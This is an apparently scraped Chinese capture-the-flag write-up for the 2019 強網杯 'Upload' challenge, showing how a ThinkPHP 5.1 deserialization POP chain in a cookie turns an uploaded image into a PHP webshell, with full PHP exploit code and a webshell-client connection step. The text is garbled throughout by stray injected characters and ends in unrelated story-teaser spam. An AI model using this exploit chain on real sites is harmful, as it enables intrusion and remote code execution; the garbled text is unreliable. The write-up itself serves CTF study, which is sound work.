[強網(wǎng)杯 2019]Upload

題目
沒有注入岛都,注冊完進(jìn)來張這個樣子

圖片.png

過程
1.嘗試多種上傳之后风瘦,發(fā)現(xiàn)只有jpg圖片里加一句話可以有效上傳队魏。上傳成功后,在upload文件夾下,文件名變?yōu)閙d5胡桨。并且無法再次上傳官帘。
upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png
圖片.png

2.發(fā)現(xiàn)有一個聊天框,感覺可以文件包含昧谊。目錄掃描刽虹,發(fā)現(xiàn)/www.tar.gz,下載源碼呢诬,發(fā)現(xiàn)是tp5.1涌哲。
同時抓包發(fā)現(xiàn)cookie是一串base64,解密后是反序列化尚镰。
圖片.png

看到Profile這個文件阀圾,主要是文件上傳
在這里插入圖片描述

發(fā)現(xiàn)這部分引用了一個新類,并且這個類在該文件沒有找到
最終發(fā)現(xiàn)在index.php這里


在這里插入圖片描述

說明上傳之前會檢查一遍賬號信息
接著看Profile.php


在這里插入圖片描述

看到這個函數(shù)


在這里插入圖片描述

會進(jìn)行一次檢查

看到下面有兩個魔術(shù)方法

在這里插入圖片描述

關(guān)鍵就在怎么觸發(fā)這兩個魔術(shù)方法

當(dāng)對象調(diào)用不可訪問屬性時狗唉,就會自動觸發(fā)get魔法方法
在對象調(diào)用不可訪問函數(shù)時初烘,就會自動觸發(fā)call魔法方法。

看到register.php 這里


在這里插入圖片描述

發(fā)現(xiàn)有個__destruct()魔術(shù)方法,


在這里插入圖片描述

上面這兩輸出可控分俯,我們可以讓checker這個屬性為Profile類
然后就會調(diào)用Profile類里的index()函數(shù)肾筐,那么就會觸發(fā)__call魔術(shù)方法


在這里插入圖片描述

name是不可訪問函數(shù)的名字
arguments是參數(shù),為空
而當(dāng)使用this->index,就是訪問一個不可訪問的屬性澳迫,然后觸發(fā)__get()魔術(shù)方法

在這里插入圖片描述

而except這個參數(shù)我們可以控制,并且他訪問了索引name局齿,說明他是一個數(shù)組


在這里插入圖片描述

接著就是讓except變成啥樣
我們再回過頭來看上傳的部分

在這里插入圖片描述

只要我們第一次上傳文件,那么empty($_FILES)就會為1橄登,那么就會繞過下面那個png檢查抓歼,直接跳過,進(jìn)入下一個if

在這里插入圖片描述

我們讓ext等于1即可進(jìn)入
filename我們可控拢锹,由此
可以通過這個來將我們的webshell復(fù)制到filename里去
要觸發(fā)這個東西我們需要調(diào)用
upload_img這個方法
而調(diào)用upload_img剛好可以通過上面那兩個魔術(shù)方法調(diào)用
整個POP鏈大概是這樣


在這里插入圖片描述

讓A類訪問一個不可訪問的函數(shù)谣妻,觸發(fā)__call,在通過call里訪問不可訪問的屬性觸發(fā)__get卒稳,然后調(diào)用upload_Img方法
接著要找一個反序列化函數(shù)蹋半,那讓POP鏈成功執(zhí)行


在這里插入圖片描述

發(fā)現(xiàn)index.php里會反序列化cookie,由此通過這個來進(jìn)行我們的pop鏈充坑。
exp:

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;//目的是過destruct里的if;
}
class Profile{
    public $checker =0 ;//目的是繞過index類的檢查减江,防止退出程序
    public $filename_tmp="./upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $upload_menu;
    public $filename="upload/penson.php";
    public $ext=1;//目的是過if來調(diào)用復(fù)制webshell
    public $img;
    public $except=array("index"=>"upload_img");//目的是通過__get()魔術(shù)方法調(diào)用upload_Img函數(shù)
}

$a = new Register();
$a->checker = new Profile();//目的是調(diào)用POP鏈
$a->checker->checker=0;//調(diào)用pop鏈防止退出程序

echo base64_encode(serialize($a));
s

生成的cookie用去替換已有的cookie捻爷,然后刷新辈灼,再去問問原來圖片的文件夾


9

可以看到原來的png已經(jīng)變?yōu)榱藀hp文件

這時候蟻劍去鏈接,發(fā)現(xiàn)成功鏈接上

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末也榄,一起剝皮案震驚了整個濱河市巡莹,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖降宅,帶你破解...
    沈念sama閱讀 219,188評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件骂远,死亡現(xiàn)場離奇詭異,居然都是意外死亡腰根,警方通過查閱死者的電腦和手機激才,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,464評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來唠雕,“玉大人贸营,你說我怎么就攤上這事⊙艺觯” “怎么了钞脂?”我有些...
    開封第一講書人閱讀 165,562評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長捕儒。 經(jīng)常有香客問我冰啃,道長,這世上最難降的妖魔是什么刘莹? 我笑而不...
    開封第一講書人閱讀 58,893評論 1 295
  • 正文 為了忘掉前任阎毅,我火速辦了婚禮,結(jié)果婚禮上点弯,老公的妹妹穿的比我還像新娘扇调。我一直安慰自己,他們只是感情好抢肛,可當(dāng)我...
    茶點故事閱讀 67,917評論 6 392
  • 文/花漫 我一把揭開白布狼钮。 她就那樣靜靜地躺著,像睡著了一般捡絮。 火紅的嫁衣襯著肌膚如雪熬芜。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,708評論 1 305
  • 那天福稳,我揣著相機與錄音涎拉,去河邊找鬼。 笑死的圆,一個胖子當(dāng)著我的面吹牛鼓拧,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播越妈,決...
    沈念sama閱讀 40,430評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼毁枯,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了叮称?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,342評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎瓤檐,沒想到半個月后赂韵,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,801評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡挠蛉,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,976評論 3 337
  • 正文 我和宋清朗相戀三年祭示,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片谴古。...
    茶點故事閱讀 40,115評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡质涛,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出掰担,到底是詐尸還是另有隱情汇陆,我是刑警寧澤,帶...
    沈念sama閱讀 35,804評論 5 346
  • 正文 年R本政府宣布带饱,位于F島的核電站毡代,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏勺疼。R本人自食惡果不足惜教寂,卻給世界環(huán)境...
    茶點故事閱讀 41,458評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望执庐。 院中可真熱鬧酪耕,春花似錦、人聲如沸轨淌。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,008評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽猿诸。三九已至婚被,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間梳虽,已是汗流浹背址芯。 一陣腳步聲響...
    開封第一講書人閱讀 33,135評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留窜觉,地道東北人谷炸。 一個月前我還...
    沈念sama閱讀 48,365評論 3 373
  • 正文 我出身青樓,卻偏偏與公主長得像禀挫,于是被迫代替她去往敵國和親旬陡。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,055評論 2 355